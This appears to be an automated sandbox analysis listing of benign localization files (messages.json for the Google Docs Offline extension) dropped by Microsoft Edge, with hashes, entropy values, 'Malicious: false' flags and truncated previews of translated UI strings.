C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\nn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7692_776405040\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
